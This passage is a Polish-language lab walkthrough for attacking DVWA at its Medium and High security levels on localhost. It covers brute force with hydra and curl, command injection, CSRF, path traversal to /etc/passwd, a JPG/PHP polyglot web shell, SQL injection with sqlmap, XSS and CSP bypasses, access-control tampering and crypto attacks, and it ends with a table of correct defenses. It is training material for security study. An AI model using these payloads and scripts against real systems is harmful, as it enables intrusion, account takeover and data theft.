Poziomy Medium / High
Na poziomach Medium i High DVWA wprowadza proste filtry, tokeny, opóźnienia, walidacje po stronie klienta albo częściowe kontrole serwerowe. Celem jest pokazanie, że blacklisty i niepełna walidacja są zwykle obchodzalne.
3.1 Brute Force — Medium / High
- Medium dodaje opóźnienie po błędnym logowaniu. Dlatego ogranicz równoległość i używaj małej listy haseł.
hydra -l admin -P /tmp/dvwa-pass.txt 127.0.0.1 -s 4280 http-get-form „/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: security=medium; PHPSESSID=TU_WSTAW_SESJE” -t 1 -W 5
- High dodaje token anty-CSRF i losowe opóźnienie. Każda próba wymaga pobrania nowego tokenu.
#!/usr/bin/env bash
DVWA=”http://127.0.0.1:4280″
PHPSESSID=”TU_WSTAW_SESJE”
for PASS in $(cat /tmp/dvwa-pass.txt); do
PAGE=$(curl -s -b „security=high; PHPSESSID=$PHPSESSID” „$DVWA/vulnerabilities/brute/”)
TOKEN=$(echo „$PAGE” | grep -oP „name=’user_token’ value=’\K[^’]+”)
RESP=$(curl -s -b „security=high; PHPSESSID=$PHPSESSID” „$DVWA/vulnerabilities/brute/?username=admin&password=$PASS&Login=Login&user_token=$TOKEN”)
if echo „$RESP” | grep -q „Welcome to the password protected area”; then
echo „[+] Found: admin:$PASS”
break
fi
done
3.2 Command Injection — Medium / High
- Medium filtruje część znaków, zwykle && i ;, ale zostawia inne separatory.
127.0.0.1 & id
127.0.0.1 | id
127.0.0.1 || id
- High filtruje więcej znaków, ale podatność może wynikać z niedokładnego wzorca, np. filtrowanie „| ” zamiast samego „|”.
127.0.0.1|id
127.0.0.1|whoami
- Impossible powinien walidować adres IP parserem/whitelistą zamiast filtrować separatory poleceń.
3.3 CSRF — Medium / High
- Medium często opiera się na sprawdzeniu nagłówka Referer. W Burp usuń go, zmień i sprawdź, czy walidacja jest tylko naiwnym dopasowaniem tekstu.
<html>
<body>
<form action=”http://127.0.0.1:4280/vulnerabilities/csrf/” method=”GET”>
<input type=”hidden” name=”password_new” value=”csrfmedium123″>
<input type=”hidden” name=”password_conf” value=”csrfmedium123″>
<input type=”hidden” name=”Change” value=”Change”>
<input type=”submit” value=”Click”>
</form>
</body>
</html>
- High dodaje token anty-CSRF. Pobierz stronę formularza, znajdź user_token, wyślij żądanie z poprawnym tokenem i sprawdź, czy token jest jednorazowy.
GET /vulnerabilities/csrf/?password_new=test123&password_conf=test123&Change=Change&user_token=TOKEN
Cookie: security=high; PHPSESSID=…
- Skuteczny CSRF na High wymaga zwykle wycieku tokenu, np. przez XSS.
3.4 File Inclusion — Medium / High
- Medium usuwa proste ciągi typu ../ albo http://. Testuj warianty zagnieżdżone i kodowane.
?page=….//….//….//….//etc/passwd
?page=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
- High może ograniczać nazwę do wartości zaczynającej się od file. Obejściem jest wrapper file://.
http://127.0.0.1:4280/vulnerabilities/fi/?page=file:///etc/passwd
3.5 File Upload — Medium / High
- Medium często ufa nagłówkowi Content-Type. Przechwyć upload w Burp i zmień Content-Type na image/jpeg.
Content-Disposition: form-data; name=”uploaded”; filename=”lab.php”
Content-Type: image/jpeg
- High może sprawdzać rozszerzenie i obraz. Utwórz prosty plik poliglotyczny JPG/PHP.
printf '\xFF\xD8\xFF\xE0′ > shell.php.jpg
cat >> shell.php.jpg << 'EOF’
<?php echo „<pre>”; system(„id”); echo „</pre>”; ?>
EOF
- Jeżeli .jpg nie jest wykonywany jako PHP, połącz upload z LFI.
/vulnerabilities/fi/?page=../../hackable/uploads/shell.php.jpg
3.6 Insecure CAPTCHA — Medium / High
- Przechwyć cały przepływ zmiany hasła w Burp i sprawdź, czy istnieją etapy step=1/step=2.
POST /vulnerabilities/captcha/
step=2&password_new=test123&password_conf=test123&Change=Change
- Na High sprawdź, czy aplikacja ufa ukrytym polom formularza, np. passed_captcha=true.
- Wniosek: CAPTCHA musi być walidowana po stronie serwera, a nie przez ukryte pola frontendowe.
3.7 SQL Injection — Medium / High
- Medium może używać POST i filtrować apostrofy. Testuj payloady numeryczne bez znaku apostrofu.
1 OR 1=1
1 UNION SELECT user,password FROM users
1 ORDER BY 1
1 ORDER BY 2
1 ORDER BY 3
sqlmap -u „$DVWA/vulnerabilities/sqli/” –cookie=”security=medium; PHPSESSID=TU_WSTAW_SESJE” –data=”id=1&Submit=Submit” -p id –batch –dbs
- High może używać osobnego okna lub endpointu. Rzeczywisty endpoint skopiuj z Burp.
1′ OR '1’=’1′– –
1′ UNION SELECT user,password FROM users– –
3.8 SQL Injection Blind — Medium / High
- Porównuj odpowiedzi dla warunku prawdziwego i fałszywego.
1 AND 1=1
1 AND 1=2
- Jeżeli nie widać różnicy w treści, użyj opóźnienia jako kanału bocznego.
1 AND SLEEP(5)
sqlmap -u „$DVWA/vulnerabilities/sqli_blind/” –cookie=”security=medium; PHPSESSID=TU_WSTAW_SESJE” –data=”id=1&Submit=Submit” -p id –technique=BT –batch
3.9 Weak Session IDs — Medium / High
- Generuj wiele ID i zapisuj wartości wraz z czasem.
for i in {1..10}; do
curl -i -s -b „security=medium; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/weak_id/” | grep -i „Set-Cookie”
sleep 1
done
- Jeżeli token przypomina timestamp albo hash kolejnych liczb, przestrzeń predykcji jest mała.
for i in {1..20}; do
echo -n „$i” | md5sum
done
3.10 XSS Reflected / Stored / DOM — Medium / High
- Jeżeli filtr usuwa <script>, użyj innych wektorów zdarzeń HTML.
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<ScRiPt>alert(1)</ScRiPt>
- W Stored XSS testuj zarówno Message, jak i Name. Jeżeli limit długości jest tylko w HTML, zmień maxlength w DevTools.
- W DOM XSS sprawdź, czy podatność występuje w query stringu, czy we fragmencie URL po znaku #.
/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
3.11 CSP Bypass — Medium / High
- Medium może używać stałego nonce. Sprawdź nagłówek CSP i wstrzyknij skrypt z tym samym nonce.
<script nonce=”TU_NONCE”>alert(1)</script>
- High używa JSONP. Przechwyć żądanie do source/jsonp.php?callback=solveSum i zmień callback.
source/jsonp.php?callback=alert
source/jsonp.php?callback=alert(document.domain)
- Jeżeli odpowiedź JSONP opakowuje dane w przekazany callback, możliwe jest wykonanie kodu.
3.12 JavaScript — Medium / High
- Otwórz DevTools → Sources i użyj Pretty Print na zaciemnionym kodzie.
- Ustaw breakpoint przed wysłaniem formularza i odczytaj token w runtime.
document.getElementById(„token”).value
- Na High użyj Event Listener Breakpoints → Control → submit oraz breakpointów na fetch/XMLHttpRequest.
3.13 Open Redirect — Medium / High
- Medium może blokować http:// i https://, ale nie blokować URL-i protokołowo względnych.
http://127.0.0.1:4280/vulnerabilities/open_redirect/source/medium.php?redirect=//example.com
- High może dopuszczać przekierowania zawierające substring info.php. Testuj obecność tego tekstu w query celu zewnętrznego.
http://127.0.0.1:4280/vulnerabilities/open_redirect/source/high.php?redirect=//example.com?x=info.php
- Poprawna obrona: nie przyjmować pełnego URL od użytkownika, tylko ID mapowane po stronie serwera.
3.14 API Security — Medium / High
- Medium: przetestuj nadmiarowe pole JSON w endpointach aktualizacji użytkownika.
curl -s -X PUT „$DVWA/vulnerabilities/api/v2/user/2” -H „Content-Type: application/json” -d '{„name”:”morph”,”level”:0}’ | jq
- High: endpoint health/connectivity może przyjmować target używany w ping. Testuj command injection w JSON.
curl -s -X POST „$DVWA/vulnerabilities/api/v2/health/connectivity” -H „Content-Type: application/json” -d '{„target”:”127.0.0.1; id”}’ | jq
time curl -s -X POST „$DVWA/vulnerabilities/api/v2/health/connectivity” -H „Content-Type: application/json” -d '{„target”:”127.0.0.1; sleep 5″}’
- Jeżeli output nie jest zwracany, wzrost czasu odpowiedzi potwierdza kanał time-based.
3.15 Authorisation Bypass / Broken Access Control — Medium / High
- Zaloguj się jako zwykły użytkownik i powtarzaj żądania backendowe bezpośrednio w Burp Repeater.
curl -s -b „security=medium; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/authbypass/get_user_data.php” | jq
curl -s -X POST -b „security=medium; PHPSESSID=TU_WSTAW_SESJE” -H „Content-Type: application/json” -d '{„id”:1,”first_name”:”Medium”,”surname”:”Bypass”}’ „$DVWA/vulnerabilities/authbypass/change_user_details.php” | jq
- W BAC testuj zmianę user_id oraz user_role w cookie.
curl -s -b „security=high; PHPSESSID=TU_WSTAW_SESJE; user_id=1; user_role=admin” „$DVWA/vulnerabilities/bac/?action=view&user_id=2”
- Autoryzacja musi być egzekwowana po stronie serwera na każdej akcji, nie tylko w UI.
3.16 Cryptography — Medium / High
- Medium używa koncepcji AES-ECB. Rozbij tokeny na bloki po 16 bajtów, czyli 32 znaki hex, i porównuj bloki.
python3 – << 'PY’
tokens = [
„TU_WKLEJ_TOKEN_1”,
„TU_WKLEJ_TOKEN_2”,
„TU_WKLEJ_TOKEN_3”
]
for t in tokens:
print(„—„)
for i in range(0, len(t), 32):
print(i//32, t[i:i+32])
PY
- Celem jest zbudowanie tokenu cut-and-paste, w którym użytkownik i ważność pochodzą z jednego tokenu, a poziom admin z innego.
- High pokazuje atak padding-oracle / manipulację IV. DVWA zawiera pomocniczy skrypt oracle_attack.php.
php vulnerabilities/cryptography/source/oracle_attack.php –iv „TU_IV” –token „TU_TOKEN” –url „http://127.0.0.1:4280/vulnerabilities/cryptography/source/check_token_high.php”
Poziom Impossible — analiza zabezpieczeń
Poziom Impossible nie jest przeznaczony do dalszego „łamania”, lecz do porównania kodu podatnego i poprawionego. W ćwiczeniach warto przełączać poziom Low/Medium/High/Impossible i obserwować różnice w kodzie oraz zachowaniu aplikacji.
| Klasa podatności | Poprawna kontrola bezpieczeństwa |
| SQL Injection | prepared statements, parametryzacja zapytań, brak konkatenacji inputu z SQL |
| Command Injection | walidacja whitelistą, parser IP, brak przekazywania surowego inputu do powłoki |
| CSRF | losowy token anty-CSRF powiązany z sesją i akcją, walidacja metody i origin/referer jako kontrola pomocnicza |
| XSS | context-aware output encoding, sanityzacja HTML, CSP jako kontrola dodatkowa |
| File Upload | walidacja typu i zawartości, losowe nazwy, przechowywanie poza webrootem, brak wykonywania uploadów jako kodu |
| File Inclusion | mapowanie do dozwolonych zasobów, brak bezpośredniego użycia ścieżki z parametru |
| Weak Session IDs | CSPRNG, wysoka entropia, HttpOnly, Secure, SameSite |
| Open Redirect | mapowanie ID → lokalny URL, brak przekierowania na dowolny URL z parametru |
| BAC/Auth Bypass | serwerowa autoryzacja obiektowa i funkcyjna dla każdej operacji |
| Cryptography | sprawdzone biblioteki, AEAD, losowy IV/nonce, brak ECB, poprawna obsługa błędów |